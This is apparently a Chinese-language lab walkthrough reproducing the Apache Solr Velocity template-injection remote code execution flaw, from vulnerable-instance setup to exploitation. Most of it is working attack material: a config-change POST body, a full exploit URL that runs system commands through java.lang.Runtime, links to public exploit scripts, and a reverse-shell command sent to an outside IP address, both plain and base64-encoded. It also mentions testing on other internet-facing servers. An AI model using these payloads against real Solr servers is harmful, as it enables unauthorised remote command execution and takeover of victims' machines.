Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。
方法一:下载源码
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/
解压之后,不能直接启动,需要配置java环境变量,可参考之前的文章或者自行度娘。创建实例:
sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force
然后,启动环境
浏览器访问环境
http://172.16.1.137:8983/solr/#/
要获取相应的实例的路径,单击左侧的Core Admin即可知道相应的实例。
每个实例下都有相应的config配置信息,可以直接访问查看
http://172.16.1.137:8983/solr/alice/config
访问config文件,Post提交以下数据:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
这里要注意,数据格式一定要按照json发送,如果不对的话,很容易返回500或者400的bad request错误,如下:
所以,这里发包的时候,如果不正确,请多尝试几次。
方法二:通过docker搭建,可以直接search,方便省事的话,可以直接用vulhub上phith0n写好的docker拉取,方法按照如下链接步骤操作
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
这里不在赘述。完成之后还是像上面一样bp发送数据修改配置。这样环境搭建基本完成了。
当solr默认插件VelocityResponseWrite中
params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true。所以,在上一步我们经过post提交数据已经修改了这两项参数值,所以目前漏洞是可以触发的。
s00py给出了poc数据,链接如下:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
访问链接,执行利用操作
http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
执行结果
github上已经有很多研究人员放出漏洞利用脚本,如下等
https://github.com/theLSA/solr-rce
https://github.com/Eth4nHunt/Apache-Solr-RCE
使用其中一个,即可获取cmdshell:
在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下:
bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1
但由于Runtime不能使用管道符等bash方法,所以需要进行编码
bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}
按照phith0n的解释:
具体详情解释参考
https://zsxq.tricking.io/topic/501/
编码之后,我们再次测试,可以成功获取shell
官网暂未发布相关漏洞补丁,及时关注官网更新。
http://lucene.apache.org/solr/downloads.html
https://nosec.org/home/detail/3113.html
https://www.anquanke.com/post/id/190039
https://zsxq.tricking.io/topic/501/
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://github.com/shadow-horse/Apache-Solr-Velocity-RCE